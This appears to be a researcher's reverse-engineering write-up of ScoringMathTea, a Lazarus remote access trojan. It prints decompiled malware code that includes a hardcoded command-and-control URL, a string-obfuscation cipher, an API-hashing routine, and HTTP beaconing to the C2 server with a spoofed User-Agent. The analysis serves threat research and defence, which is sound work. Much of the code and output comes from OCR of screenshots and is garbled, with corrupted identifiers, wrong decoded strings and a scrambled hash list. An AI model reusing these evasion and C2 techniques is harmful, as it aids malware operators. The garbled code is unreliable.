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In October 2025, the ESET Research Team published an excellent article about the identification of a new
instance of the Operation DreamJob cyberespionage campaign, conducted by the Lazarus APT Group, aligned
with the North Korean government. This instance was identified by ESET as Gotta Fly, as it was determined that
Lazarus was directing cyberattacks with an espionage focus to steal know-how related to the production of
Unmanned Aerial Vehicles from companies that are providing such technology to Ukraine. In the same article,
the ESET Research Team provided information on the identification of two kill chains, both of which implement
ScoringMathTea. Below, you can see an image taken from the ESET post, showing the identified execution

chains.
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ScoringMathTea is a RAT (Remote Access Trojan) in C++, developed and operated by Lazarus, which
provides operators with all the necessary capabilities that a good RAT can offer, including remote command
execution, loading and execution of plugins in memory, among other capabilities. This is the object of analysis in

my research.

Below is a general overview of the main capabilities implemented in ScoringMathTea.
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ScoringMathTea’s Reverse Engineering

The sample we are going to analyze is ScoringMathTea in DLL format. When we open it in IDA Pro, the first
function that appears is DIIMain, which simply creates a thread through CreateThread WinAPI, setting the

IpStartAddress as a wrapper function for the main function of ScoringMathTea.
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; BOOL _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
D11Main proc near

var_18= dword ptr -18h
var_ 18= gword ptr -18h

sub rsp, 38h
cmp edx, 1
jnz short loc_1880@1D38E
a |
. I
and [rsp+3Bh+var 18], 8
ea r8, smt_main wrapper ; lpStartiddres
and [rsp+38h+var 18], 8
xor r9d, r9d ; lpParameter
xor edx, edx ; duStackSize
xor ecx, ecx ; 1pThreadAttributes
call cs:CreateThread
lea rcx, [rax-1]
cmp rcx, @FFFFFFFFFFFFFFFDH
ja short loc_13881D383
Hl
s
mov rcx, rax ; hObject
call cs:CloseHandle
v
Di 7
loc_188810383: ; duMilliseconds
mow ecx, BBB3h
call cs:5leep

'y

® s 7
loc_18@81D38E:
mow eax, 1
add rsp, 38h
retn

D11Main endp

In the image below, we can observe the flow identified by the Proximity Browser, which leads from DIIMain to

the Main function of ScoringMathTea.
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Upon reaching this function, we can already observe the creation of a pseudo-random seed using GetTickCount64

@'LL

@
B
Bl

followed by srand, followed by a function that initializes some fields of the ScoringMathTea configuration struct,

and finally arriving at the identification of the API resolution technique via API Hashing.

vo = 0;

seed_prng = GetTickCount64();

srand(seed prng);

if ( (unsigned int)smt_init config(&smt_config struct) !=1 )
{

vZ2 = (void ( fastcall *)(  inted (*)()))smt_api resolution(@x3316567E);
v2({fnc_null);
SetErrorMode(3u);

v3 = (unsigned int (  fastcall *)(  inted, BYTE *))smt _api resolution(®x9D75EE6ALL);
if ( 1v2(514, v37) )

Initializing Specific Fields of the Configuration Struct

Inthe smt_init_config function, several fields of the struct that stores certain configuration aspects of
ScoringMathTea are initialized. Below, we can see the storage via Stack Strings of the C&C URL of this sample.

The use of Stack String is strategic so that the URL address is not easily identified by any string extraction
tool.
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mov dword ptr [rbp+57h+c2_url buffer], 7602280 ; [rbp+@x57+c2_url buffer] -> C&C URL Stack String
mov dword ptr [rbp+57h+c2_url buffer+4], 700074h
mov dword ptr [rbp+57h+c2_url buffer+8], 3A0073h
mov dword ptr [rbp+57h+c2 url buffer+0Ch], 2F@02Fh
mov dword ptr [rbp+57h+c2 url buffer+10h], 770077h
mov dword ptr [rbp+57h+c2 url buffer+14h], 2E0077h
mov dword ptr [rbp+57h+c2_url buffer+18h], 6E@B6Dh
mov dword ptr [rbp+57h+c2_url buffer+lCh], 61006Dh
mov dword ptr [rbp+57h+c2_url buffer+20h], 680074h
mov dword ptr [rbp+57h+c2_url buffer+24h], 65006Ch
mov dword ptr [rbp+57h+c2 url buffer+28h], 670061h
mov dword ptr [rbp+57h+c2_url_buffer+2Ch], 650075h
mov dword ptr [rbp+57h+c2_url buffer+30h], 6F002Eh
mov dword ptr [rbp+57h+c2_url buffer+34h], 670072h
mov dword ptr [rbp+57h+c2_url buffer+38h], 63002Fh
mov dword ptr [rbp+57h+c2_url buffer+3Ch], 65806Bh
mov dword ptr [rbp+57h+c2 url buffer+40h], 690064h
mov dword ptr [rbp+57h+c2 url buffer+44h], 6F0074h
mov dword ptr [rbp+57h+c2_url buffer+48h], 2F0072h
mov dword ptr [rbp+57h+c2_url buffer+4Ch], 640061h
mov dword ptr [rbp+57h+c2_url buffer+50h], 700061h
mov dword ptr [rbp+57h+c2 url buffer+54h], 650074h
mov dword ptr [rbp+57h+c2 url buffer+58h], 730072h
mov dword ptr [rbp+57h+c2_url buffer+5Ch], 69002Fh
mov dword ptr [rbp+57h+c2_url buffer+60h], 64006Eh
mov dword ptr [rbp+57h+c2_url buffer+64h], 780065h
mov dword ptr [rbp+57h+c2_url buffer+68h], 70002Eh
mov dword ptr [rbp+57h+c2_url buffer+6Ch], 700068h
xor rid4d, rildd

mov [rbp+57h+c2 url buffer+70h], rldw

mov [rsp+120h+c2_slot_addr_I], rl4w ; Empty Slot
mov [rbp+57h+c2_slot_addr_II], rldw ; Empty Slot
mov [rbp+57h+c2_slot addr_III], rldw ; Empty Slot
mov [rbp+57h+c2 slot addr IV], rldw ; Empty Slot
mov [rbp+57h+c2 slot addr V], rldw ; Empty Slot
mov [rbp+57h+c2 slot addr VI], rldw ; Empty Slot
mov [rbp+57h+c2_slot_addr_VII], rldw ; Empty Slot

In addition to the URL address, it is also possible to observe the creation of slots for more C&C addresses, which

were declared as null, but which I believe could be added during the operation.

L"https://www.mnmathleague.org/ckeditor/adapters/index.php");

(c2_v 1 s
c2 slot_addr_I[@] = @;
c2_slot_addr_II[@] = @;
cZ slot_addr III[O] = @;
c2 slot_addr_IV[@] = @;
c2 slot addr V[@] = @;
cZ slot_addr VI[®] = @;
c? slot addr VIT[@] = @;
global_config-»is_initialized flag = 1;

Other interesting fields that were observed being initialized include possible random seed that can be used later,

as well as an ID, which could be from the campaign or the build of this ScoringMathTea sample.

lobal config-»rand seed = rand();

clobal config->campaign_id = 117964802;
return @;

Analyzing the API Hashing Routine

After initializing certain fields of the ScoringMathTea configuration struct, the main function loads and executes

the dynamic API loading routine via API Hashing . Upon analyzing the function responsible for this process, we
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encounter an initial string deobfuscation routine, using the smt_string_decryption function, which only

receives the strings as arguments.

lea rdx, al7xfqeeudehv ; "I7xfQebudEhv”
lea rcx, [rsp+l6F@h+lpModuleName ]
call smt_string _decryption

lea rdx, a6bnb3cios® ; "onb3ci0se”

lea rcx, [rbp+15F@h+var_15C8]

call smt_string decryption

lea rdx, aMlmsmr35w36 ; "mlmSmr3iSw3-6"
lea rcx, [rbp+15F@h+var_14C0]

call smt_string _decryption

lea rdx, aEstum@lmfk ; "EstuMalMFK"
lea rcx, [rbp+15F@h+var_13B8]

call smt_string decryption

lea rdx, aQealWsbdsr ; "gEA.J . wSodsr”
lea rcx, [rbp+15F@h+var_12B0]

call smt_string _decryption

lea rdx, aFdn5dpfogxj ; "FDNSdPFOQx]"
lea rcx, [rbp+15F@h+var_11A8]

call smt_string decryption

lea rdx, aVfBpidtd9af ; "vFOPI4tdoOAR"
lea rcx, [rbp+15F@h+var_10A0]

call smt_string _decryption

lea rdx, aFdnp9qo9m ; "FDNpS9qo9M”

lea rcx, [rbp+15F@h+var F98]

call smt_string decryption

lea rdx, aHuumSsbesae ; "hUUMS5sBEsze"
lea rcx, [rbp+15F8h+var E98]

call smt_string _decryption

lea rdx, alsxmslhagv ; "1SXmsLhagV”
lea rcx, [rbp+15F@h+var D88]

call smt_string decryption

lea rdx, aScwyq24btbg ; "SCwYg24bteg"”
lea rcx, [rbp+15F8h+var (88]

rall emt <trino decrruntion

Next, we will analyze in deep the custom algorithm used by ScoringMathTea to deobfuscate these strings.

Analyzing the Custom String Deobfuscation Algorithm

This if the main function used by the ScoringMathTea to deobfuscate static strings at runtime, implementing

something like a polyalphabetic substitution cipher with chaining (propagating cipher).
The decoding mechanism operates as follows:

1. Initialization: The function receives an obfuscated string ( enc_str ) and an output pointer ( dec_str ).
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2. Substitution Alphabet: The algorithm relies on a global lookup table (pointed in alphabet_decryption =
"pB1Q5ZyneCb6sRO3u20x fK8vVMkEaow_ciSDYIUmlLF4hq9XLPINzTHGgr .WtdA7" ). This table functions as a 64-
character “alphabet” (as indicated by the 0x40 and 0x3F delimiters).

3. Key State: An initial key, or “state”, is hardcoded with the value 11 . This key is dynamic and changes
with each iteration.

4. Decoding Process (Loop): The function iterates through each character of the copied obfuscated string:

o First, it locates the obfuscated character within the alphabet_decryption table to find its index
( alphabet_idx ).
o Then, it calculates the index of the actual (decoded) character by subtracting the current
key_state from the alphabet_idx . A bitwise AND operation with 0x3F is used to ensure the
result is a valid index (essentially a modulo 64 operation that also handles “underflow” of negative
indices).
o The newly calculated index is used to retrieve the actual decoded character from the same
alphabet_decryption table.
o This decoded character replaces the obfuscated character in the buffer.

5. Chaining Mechanism: This is the polyalphabetic aspect of the cipher. After decoding a character, the

key_state is updated for the next iteration. The new state is calculated by adding the value of the newly

decoded character to the previous key_state , again applying a modulo 64 ( & 0x3F ).

This chaining mechanism makes the key dependent on the decoded output itself, meaning that each character is

decoded with a different key, derived from the previous character.

Finally, the algorithm stores the pointer to the decoded string (in char* format) in the first argument and then
converts and copies the deobfuscated string to an adjacent wide string buffer ( wchar_t* ). Below we can see the

pseudocode of this algorithm:
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decoded_buffer = strdup(enc_str);
decoded_str = decoded buffer;
if ( decoded buffer )
{
ptr_encrypted string = *decoded buffer;
v6 = 0;
if ( ptr_encrypted_string )
{
key state = 11;
current_str = decoded_str;
do
{ -
alphabet_1idx = @;
ptr_alphabet decryption = &alphabet_decryption;
while ( ptr_encrypted_string != *(_BYTE *)ptr_alphabet decryption )
{
++alphabet_idx;
ptr_alphabet decryption = (_ int128 *)((char *)ptr_alphabet decryption + 1);
if ( alphabet idx >= x40 )
goto LABEL_9;
}
vll = *((_BYTE *)&alphabet_decryption + (((_BYTE)alphabet idx - key state) & Ox3F));
*current_str = vll;
key state = (v11l + key state) & Ox3F;
LABEL_9:
current_str = &decoded_str[++v6]
ptr_encrypted_string = *current_str;
}
while ( *current_str );
¥
H
*dec_str = decoded str;
w_str_output = (wchar_t *)(dec_str + 1);
if ( decoded str )
snwprintf_s(w str output, @x80u, @OxFFFFFFFFFFFFFFFFuULL, L"%S™, decoded str);
else

snwprintf_s(w str output, @x80u, OxFFFFFFFFFFFFFFFFuLL, L™ ™);
return dec_str;

Having understood the algorithm, I developed a string deobfuscation Python script for IDA Pro, which is available
in my GitHub repository.

The script is quite straightforward, following these steps:

e Collects each XRef’s offset of the smt_string_decryption function;

e Identifies and collects the arguments of each XRef;

e Submits the obfuscated strings (which are passed as arguments to the smt_string_decryption function) to
the string deobfuscation algorithm implementation;

e The result is written as a comment at each offset identified in the XRef identification process in the

Disassembler.

This allows the string decryption process to be automated within IDA itself, making the analysis more fluid with

the comments placed in the Disassembler. Below is the output of the script in the IDA Pro Output window.
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| OQutput

==== ScoringMathTea's String Obfuscator IDA Script ====
[+] Found 29 XRefs [+]

-» At @x188882224: 'I7xfQeEudEhv' -»> 'kernel32.dll’

-» At @x186802234: '6nb3cidse’ -> 'psapi.dll’

-» At @x186002247: 'mlmSmr3Sw3-6' -> 'advapi32.d-f°

-» At @x18088225A: 'EstuMBIMFK' -> 'user32.dll’

-» At @x13880226D: 'gEA.J.wSedsr' -> 'imagehlp.dll®

-» At @x18@e8228@: 'FDNSdPFOQxj' -»> ‘winhttp.dlj’

-» At @x180802293: 'vFBPI4td9AF' -> 'shlwapi.dll’

-» At @x1888022A6: 'FDNp9gqod9M’ -> 'winmm.dll’

-» At @x180@822B9: 'hUUMSsBEsae' -> 'crypt32.dll’

-» At @x1888822CC: '1SXmsLhagV' -> 'oleacc.dll’

-» At @x18@@822DF: 'SCwYq24bteg' -» 'wversion.dll’

-» At @x1808822F2: '1Xg@Qofwb' -> 'gdi32.dll’

-» At @x188802385: 'OBMXz5EudEhv' -> 'netapi32.dll’

-» At @x18@e82318: 'vFXz-NmBNLX' -> 'shel-tdNKkE'

-» At @x18880232B: '1SXk3Fk48' -> 'ole32.d1ll’

-» At @x188@@233E: 'gT3Tr3CkEsae’ -> 'iphlpapi.dll®

-» At @x18e882351: 'FALZbENmBNIX' -> 'wtsapi32.dll’

-» At @x13e@@2364: 'EstuOGTsAR.' -> 'userenv.dll’

-» At @x18eee2377: 'Fey_chZaGyN' -> 'ws2roD.dll’

-» At 8x18888238A: 'FDNWCrulzQL' -> 'wininet.dll'

-> At @x18ee8239D: 'ErkZlBiose’ -> 'urlmon.dll’

-» At @x188@823B8: 'FDNInak&En' -> 'winsta.dll’

-» At @x180@12ABD: 'OP8mBEqQs\3YsnwdpUz\UYz8EGP CM\1sFEoBDTW3KolE' -»> 'SOFTWARE\Microsoft\Windows NT\CurrentVersion'

-» At @x18@@12ACE: '"tx4rPHzwdlu' -> 'ProductName’

[-] Failed to find the encrypted string for the call at @x1888168CA

-» At @x18@eLl6eDE: 'Z8Vs4wqqZpLSNLETV' -> '"WTSQueryUserToken'

-» At @x1888168EF: 'xQlpih91HNS3' -> 'explorer.exe'

-» AL @x1888175CF: 'ATbGSQHTTKbFFwmlKNXNK--' -> 'NtAllocateVirtualMemo--'
-» At @x18e@175E@: 'ATGERNmyytSZN363Ndd' -> 'NtFreeVirtualMemory'

[+] ScoringMathTea's Obsfuscator was Successfully Executed [+]

And below, we can partially observe the result of the Python script execution.
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lea rdx, Source 3 "I7xfQeEudEhv"

lea rcx, [rsp+leF@h+1pModulelame] ; char **

call smt_string decryption ; Decrypted String: kernel32.dll
lea rdx, aébnb3cios® ; "enb3ciOse”

lea rcx, [rbp+15F8h+var 15C8] ; char **

call smt_string_decryption ; Decrypted String: psapi.dll
lea rdx, aMlmsmr35w36 ; "mlmSmr35w3-6"

lea rcx, [rbp+l15F@h+var_14C8] ; char **

call smt_string decryption ; Decrypted String: advapi32.d-f
lea rdx, aEstum@lmfk ; "EstuMalMFK"

lea rcx, [rbp+15F@h+var 13B8] ; char **

call smt_string decryption ; Decrypted String: user32.dll
lea rdx, aQealWsedsr ; "gEA.J.wSodsr”

lea rcx, [rbp+15F8h+var 12B@] ; char **

call smt_string_decryption ; Decrypted String: imagehlp.dll
lea rdx, aFdn5dpfogxj ; "FDN5dPFOQx]"

lea rcx, [rbp+l15F@h+var_ 11487 ; char **

call smt_string decryption ; Decrypted String: winhttp.dlj
lea rdx, aVf@pidtd9at ; "vFOPI4tdOAR™

lea rcx, [rbp+15F@h+var_ 10487 ; char **

call smt_string decryption ; Decrypted String: shlwapi.dll
lea rdx, aFdnp9qo9m ; “FDNp9go9M”

lea rcx, [rbp+15F8h+var F98] ; char **

call smt_string_decryption ; Decrypted String: winmm.dll
lea rdx, aHuumSsbesae ; "hUUM5sBEsas”

lea rcx, [rbp+15F8h+var E98] ; char **

call smt_string decryption ; Decrypted String: crypt32.dll
lea rdx, alsxmslhagv ; "1SXmsLhagV"

lea rcx. [rbo+15F@h+var D881 : char **

Thus, it can be observed that the deobfuscated strings in the API resolution function ( smt_api_resolution ) are

DLLs that will be used throughout. Let’s continue with the analysis of the API loading routine via API Hashing .

Continuation of the Analysis of the API Loading Routine via API Hashing

After deobfuscating the strings, the smt_api_resolution function will perform PE parsing of the desired module
(DLL), with the aim of collecting the names of the APIs exported by that DLL, using AddressOfNames in the
IMAGE EXPORT DIRECTORY.
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lib_name ;
mod_name = " ";
if ( output_decrypted string[v9] )
mod_name = output_decrypted_string[33 * n22_1];
mod_addr = GetModuleHandleA(mod name);
if ( mod_addr )
goto MODULE_PARSING__API_HASHING;
if ( output decrypted string[v9] )
lib_name = output_decrypted string[v9];
mod_addr = LoadlLibraryA(lib_name);
if ( mod_addr )
{
MODULE_PARSING__API_HASHING:
if ( mod addr-»e_magic == 'IM' )
{
pe_header_offset = mod_addr->e_lfanew;
if ( *(&mod addr-»e_magic + pe header offset) == "EP' )
{
pe_exp_dir = *(&mod_addr[2].e_cparhdr + pe_header_offset);
if ( pe_exp dir )

api_addr_name = (&mod_addr->e_magic + *(&pe_exp dir->AddressOfNames + mod_addr));
func_idx = @;
number funcs = *{&pe exp dir->Number0fFunctions + mod addr);

In each iteration of AddressOfNames , the collected result will be submitted to the ScoringMathTea hashing

algorithm, as can be seen in the pseudocode below.

if { number_funcs )}

while { 1)
{
module_name = mod_addr + *api_addr_name;
if ( module_name }
{
api_hashed = @x2DBB955; // Hash Seed Value
while { *module_name )
api_hashed ~= *module_name++ + (api_hashed »>> 2) + 32 * api_hashed;// Hash Algorithm
b

else

{
api hashed = @;

)
if ( hash == api_hashed )
break;
++func_idx;
++api_addr_name;
if ( func_idx »= number_ funcs )
goto END_FUNCTION;
ki
api_resolved_addr = (mod_addr
+ *(&mod addr-»e _magic
+ 4
* ®(&mod addr-»e _magic + 2 * func idx
+ *(8&pe_exp_dir->AddressOfNameOrdinals + mod_addr))
+ *(&pe exp dir->AddressOfFunctions + mod addr)));
}
}
¥
}
b
END_FUNCTION:
“eh vector destructor iterator’(output_decrypted_string, @x188u, ©x16u, unknown_libname_37);
return api_resolved_addr;

¥

The while loop will check if the resulting hash from each API in each iteration matches the hash received as an
argument to this function. The hashing process for each API name begins with a fixed seed value ( api_hashed =
0x2DBB955 ), with its main logic described as:

api_hashed A= (char)*v18++ + (api_hashed >> 2) + 32 * api_hashed .
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The custom hashing algorithm used by ScoringMathTea follows the following steps:

e api_hashed A= ... : The result of this sum is then combined with the current hash value using an XOR
operation. The result becomes the new api_hashed wvalue for the next iteration.

e 32 * api_hashed : The current hash value is multiplied by 32 . In terms of bits, this is a left shift of 5
bits ( api_hashed << 5).

e (api_hashed >> 2) : The current hash value is right shifted by 2 bits (equivalent to an integer division
by 4).

(char)*v18++ : The ASCII value of the current character in the string.

Sum: The algorithm sums these three components: (character) + (hash / 4) + (hash * 32) .

As we can see in the image below, the hashing resolution function is called approximately 273 times throughout

the ScoringMathTea code.

Python>target func = "smt_api_resclution™
Python:>function offset = idc.get name_ea simple(target func)
Pythonsxrefs = list(idautils.CodeRefsTo(function_offset, 8))
Python:print{f"Number of XRefs of the function: {len(xrefs)}")
|Humber of XRefs of the function: 273 |
Python:
Python:>for xref_offset in wxrefs:

print(f"XRef in @x{xref offset:X}")
Python:
XRef in Bx138812304
XRef in Bx188012473
XRef in Bx1880124E7
XRef in Bx18801251F
XRef in Bx1l3@812568
XRef in Bx138812591
XRef in @x1388125E7
XRef in ©x138012636
XRef in Bx1880126B0
XRef in Bx18@8126D4
XRef in Bx138012386
XRef in Bx13801239F
XRef in Bxl38812882
XRef in Bx13@812A1A
XRef in @x138812A4D
XRef in @x138012467
XRef in Bx188012AF6
XRef in ©x18@812B2D
XRef in Bx18@812BB4
XRef in Bx138812B9C
XRef in Bx138812BAE
XRef in @xl3@812C1D
XRef in @x138812EE1
XRef in ©x138012EDF
XRef in ©x18@812EFD
XRef in ©x188012FDE
XRef in Bx188@12FFF
XRef in Bx138813139
XRef in Bx13881317B

And in the same way that it was done for the string decryption function, it is possible to collect each hash that will
be resolved to an API at runtime. Of course, it’s possible to observe several repeated APIs, which refer to APIs

that are used multiple times, such as LocalAlloc, LocalFree, GetLastError, among others.
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Exscute seript

["6x262C5586', '6x1919BA3', '©x3(CB51R0°, ' 1CFC24A, '@X3CC851A0", D45,
Snippet list Please enter script body g 1AFB", " 1CFC28A", ' F5', '@x69FADLIA’, '@xIDCBFSDB', 'BxBIFADIIA’,
'BX1DCBFSED', '8xSAB417F6', '@xFFFFFFFFA20C20DB', '@x1B4E2744', '@xFFFFFFFFAL741166', '@x44B1S0E7',

Name 1|target_func = "smt_api_resolution” X 84y FrEr 8aE2 FrFF 66", .
& e e L) gttt i o) Ko IR g TR e e I o
3|xrefs = idautils.CodeRefsTo(function_offset, @) &l o OXBIECIDEZ", 0120232667, “Oxi 55054, @ s o s o 8 ’
~haches = 01 exFFFFFFFFFE2BLAFE’, "BXSOFADILA’, 78372F5 ", EDso’, , exaa2126C2,
g '@X566367AA", '@x28CSFSBE’, '@x28DF652', ' @2FOF3E", ° Fs', B1AFB',
o for xref offset in xrefs 'GXGIFADILA', 'OXGIECIDA2', 'OXGIECIDAL', 'OXGIECIDA2', 'OXSE6I67AN', 'GNFFFFFFFFFISOIO0D’, 'OxS66367AN",
- prev_opcode = idc.prev_head(xref_offset) X F358 DB", FRFE DJA‘FE B Bx69FADILA", Bxﬂ\ld(‘DAEZ > BX?EE?E7AA B BxFFFFFFFFfBiI?lAFE > .
8 opcode = idc.print_insn_mnem(prev_opcode) ‘BXEQFADllA‘; ‘BxﬁgFADlll‘\ ., 8x2@C5F588", BXFF‘FFF‘FFFE75372F? ., BxB69FADIIA", BXFF‘FFF‘FFFAQSQAEEE B Bx4?A5EE§ B
9 iF opcod " mov ©@x28C5F5@8', '@x28DFE52', '@xFFFFFFFFCB2FBF38', '@xB9FADLIA', 78372F5 ", 1, 3
10 op_dest ide. nt_operand (prev_opcode, 0) gxig?;?g;g B gx:;;‘;gﬁg?, ‘0x28E7BDDB B 9:2;]‘.954‘&18 B BXSBFADllﬁFé. B)l(SSEBSW\A > 0x33;2§41? 5 "@xB9FADIIA’,
11 if (op_dest == "rcx” or op_dest "ecx”) and j & R R BIATE ., LAFE R i
idc.get_operand_type(prev_opcode, 1) == idc.c_imm: |BXSBE3ETAA', "Ex4L4CDAE2', TESTAE", 2F2E3E°, 2B1AFE ", 3 87
12 ash_value = idc.get_operand_value(prev_opcode, 1) X ABSCIC3S ", F82B1A7E", Frer BALD4G", fFFo261A7E", g F5's
B = e - - @x69FAD11A’, '@xFFFFFFFFF49AASFA", "Ox69FADLIA', '6x2887BDDB', '@x33106418", 'OxFFFFFFFFFB2B1AFE’',
13 hashes.append(hash_value) i A . . loss 2814 .
4 - @xFFFFFFFFF32B1AFB", "@x414CDAB2', '@x2837BDDB', D46", AFB', DDAB",
15| print ([£"8x{api_hashes:X}" for api_hashes in hashes]) ‘9X7A(4BDEB N BxﬁQFAD%lA s BxFFFFFFFFDN‘\AD‘FB3 B Bx}lQ\Dll\)‘tE > Bx‘il?(ﬂ/?ﬁ? » '@x4D857973 : B)\(FFFFFFFFDES‘MBFF >
9DC", 'ex414CDAB2°, '@x1BAC7527°, '@xFFFFFFFFFB2BLAFB’, '@x69FAD1IA’,
'OXS66367AL", '@xG1ECIDS2’, L 1AEB", * o B1AFB',
§ EDEG", * Fs', o EDEB’, 'GXEOFADILA’, 'BX6IFADIIA’,
g C38BD", * a3, ! C3C13', '©x69FADIIA', '@x61ECIDE2', '@xFFFFFFFFC7CB9281',

'@xDI4EFOE’, 'OxDIAEFOE', '@xFFEFFEFFFG2BLAFD’, '@x69FADLIA', '@xFFFFFEFFAL7ALI66', '@x69FADIIA',
'@xFFEFFFFFBIIDDCIS", '0x1BACTS27', 'OxFEFFFFFFAZSOA966', 'OxGOFADLIA', 'OxDIAEFOE', 'OxlBACTS27', 'OXSE6367AA",
) | i Fst, F5', " ', '8x69FADIIA’, '@x6IFADIIA’,
Hash Listused by ScoringMathTea '@xFFEFFFFFAZGC2DAD’, '@x104E2744', 'Ox104E2744', 'Ox184E2744', 'Ox178CICDC’, 'OxFFFFFFFFE222EDGO’, '@x69FADI1A',
‘@xFFEFFFFFA250A966°, "OWASASEGO', '@XDOAEFOE’, '@xFFFFFFFFO3271A66°, '@x69FADLIA’, '@xFFFFFFFFA250A966', '@XASASEGD’,
‘@x2BC307EE’, 'OMFFFFFFEFE222EDE0’, 'OXBOFADLIA', 'Ox28B7EDDB’, 'x4BI11792°, 'OXSEE367AA°, 'OXFFEFFFFEE7A372F5',
‘@xFFEFFFFFB7B372FS’, 'Ox69FADLIA’, "Ox69FADLIA', 'Ox3316567E', 'OxFFFEFFFFOD7SEEGA’, 'OXFFFFEFFFCICFC24A’,
'@xS66367AA', 'OXFFFFFFFFB7B372F5', 'OXFEFFEFFFCICFC24A’, 'OxdBEBCISF', 'OX3ASF1417°, '@xSBF2AID3’,
'@xFFEFFFFFCOADC285", '0x7A393791', '0x93B40A7', 'GxS4BOFISF', 'OxS4BOFLSF', 'Ox54BSFISF', 'GxFFFFFFFFB78372F5’,
; FS', Fs, PS5t I Fs°
ex FS', o F5', '@x3181C40°, '@x3I181C40', '@x3(RO73I9E', 'GxFEFFFFFFBAC109C2',
'ex705A4005", L 73, 78372F5" ]

Since the hashing algorithm is relatively simple, it’s possible to create a Python script to automate the API hashing

process. I implemented this and submitted a Pull Request to the OALabs open-source project, HashDB, with the

goal of automating the de-hashing and facilitating static analysis. With the Pull Request accepted, it is now

possible to look up the hashes of the current ScoringMathTea samples.

ecx, 3316567Eh ; n47954261
smt_api_resolution
rex, fnc null

C €W Matched Algarithms *
1

The following algorithrs contain a matching hash.
Select an algorithm to set as the default for HashDE.

Algorithm Size (Bits) |
smt_api_hashing 32

Line 1 of 1

Cancel

ot = N = =S N =
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B [

mov ecx, SetUnhandledExceptionFilter @ ; nd47954261
call smt_api_resolution

lea rcx, fnc _null

call rax

lei €% HashDE Bulk Import *
mo?

2 The hash for SetUnhandledExceptionFilter is a module function,

mg: Do you want to import all function hashes from this module?

cal Select module  api-ms-win-core-errorhandling-11-1-0 ~

le B

mot _
call rax

test eax, eax

jnz loc 18601AQEC

This makes it possible to have a clearer view of what ScoringMathTea is loading and executing throughout its

operation.

tick count = GetTickCount64();

srand(tick_count);
if { (unsigned int)smt_init config((scoringmathtea config *)&smt _config struct) =1 )
{
ptr SetUnhandledExceptionFilter = smt_api_resolution(SetUnhandledExceptionFilter);
({void (_ fastcall *)(__inted (*)()))ptr SetUnhandledExceptionFilter){fnc_null);
SetErrortode(3u);
WSAStartup = (int (_ stdcall *)(WORD, LPWSADATA))smt api_resolution(WSAStartup);

Analysis of Communication Capability with C&C and Plugin Execution

The logic of the main function of ScoringMathTea consists of an infinite loop, where the main functionalities of
the agent (ScoringMathTea deployed on the infected system) and its communication with the C&C server are
implemented, awaiting commands received from the operators to finally execute them, maintaining a 60-second

beacon heartbeat to try to reduce network noise, but in reality it seems to be a standard agent configuration.
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ScoringMathTea C&C
Communication Flow

Configuration:
Initialization of the HTTP
Connection

Beaconing: Task Request

Command Processing: Payload
Decryption/Filtering, Task/Plugin
Download and Upload

This main function appears to have 3 execution phases. The first one has already been identified and analyzed
previously: the initialization of the configuration struct and the initialization of Winsock to enable network

communication.

The second phase consists of the main communication loop with the C&C server, where the agent enters an
infinite loop to try to connect with one of its C&C servers. This is not the case with this sample, but as previously
seen, ScoringMathTea has the capability to have multiple C&C addresses; therefore, the main action of the
ScoringMathTea’s main function is to randomly select a C&C address. However, as we already know, this

sample only has one C&C address.

while ( 1 )

{
c2 count = *(_DWORD *)&::scoringmathtea_config_.c2_addr_count;
c2 idx = rand() % c2 count;

After selecting the command and control (C&C) address, the agent will execute the function to configure the

connection to the C&C server, making an initial connection and storing the connection handle for future use.
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This function performs this configuration using common WinAPIs, but all of them are resolved dynamically

through the API resolution function, analyzed previously. The function defines the following settings:

e Spoofing the User-Agent for further communications: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.42"

ptr_ObtainUserAgentString = smt apl resulutlon(ObtaanserAgentStrlng 9);
if in )(_QWORD, char *, int *))ptr_ObtainUserAgentString)(®, pcszUAQut, &cbSize) )
sprintf_s(

pcszUAQut,

0x184u,

"Mozilla/5.8 (Windows NT 10.0; Winbd; x64) ApplelWlebKit/537.36 (KHTML, like Gecko) Chrome/107.0.8.0 Safari/537.36 Edg/167.6.1418.42");
sprintf_s_@(smt_user_agent, @x1@4u, (const char *const)L"%S", pcszUAOut);

« Initial connection to the C&C server via the WinHttpConnect API, returning a connection handle;

ptr WinHttpConnect = smt_api_resolution(WinHttpConnect 8);
v24 = ((__inte4 ( —'est:e" *)(_QWORD, WORD *, QWORD, QWORD))ptr WinHttpConnect)(
*(_QWORD *){ptr_winhttp handle + 29),
pswzServeriame,
nServerPort,
a);

e Creation of an HTTP POST request via the WinHttpOpenRequest API, using the connection handle created

previously. A beacon is likely sent to the C&C server here;

ptr_WinHttpOpenRequest = smt_api_| Pesolutlon(W1nHttp0penRequest 9);
request_return = ({__int64 (_ fastcall *)(__int64, const wchar_t *, _WORD *, _QWORD, _QWORD, _QWORD, int))ptr_WinHttpOpenRequest)(
ect,

hCo
L" POST

pw <'0919 thame,

a,

a,

a,

WINHTTP_FLAG SECURE);

e Definition of connection timeouts of 10 seconds , via the WinHttpSetTimeouts;

ptr WinHttpSetTimeouts = smt_api_resolution{WinHttpSetTimeouts @);
((void (__ fastcall *)(_QWORD, _ int64, _ int6d))ptr_WinHttpSetTimeouts)(
*(_QWORD *)(ptr_winhttp handle + 21},
10000,
10000) ;

After this communication is initiated, the agent uses the Handle of the connection created and configured with the
C&C to send beacons and receive commands from the operators. In other words, from the previously configured
communication, the agent’s communication with the C&C server operates over HTTP/HTTPS using a two-way
communication channel that is possibly Base64 encoded, encrypted using the TEA / XTEA algorithm in (BC

mode , and optionally compressed.

Firstly, the function that receives the identifier of the previously configured connection seems to construct a
pseudo-random request payload (using rand() ) from some constants, making it difficult to detect the beacon
sent to the C&C using static signatures. An interesting feature of ScoringMathTea’s communication is that, when
connecting to the command and control (C&C) URL, if the HTML document header is identified, the function
removes this “header” and adjusts the pointers so that the rest of the code can process the actual payload that

comes next.
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Below, we can see the execution of the function that sends the beacon and receives the response from the C&C

( smt_c2_http_send_receive ), followed by the function that filters the contents of the buffer received by the
C&C.

sprintf_s(buff_payload_http, @x104u, "%s%s", &sncode_value T, encode_value_TTT);
do
++uBytes;
while ( buff payload http[uBytes] );
p_ptr_winhttp_handlea 1 = p_ptr_winhttp_handlea;
return_code = smt_c2_http_send_receive{p ptr winhttp_handlea, buff payload http, uBytes, &data c2 recv, &Size + 1);

if ( return_code )
ptr_data_c2_recv = data_c2_recv;
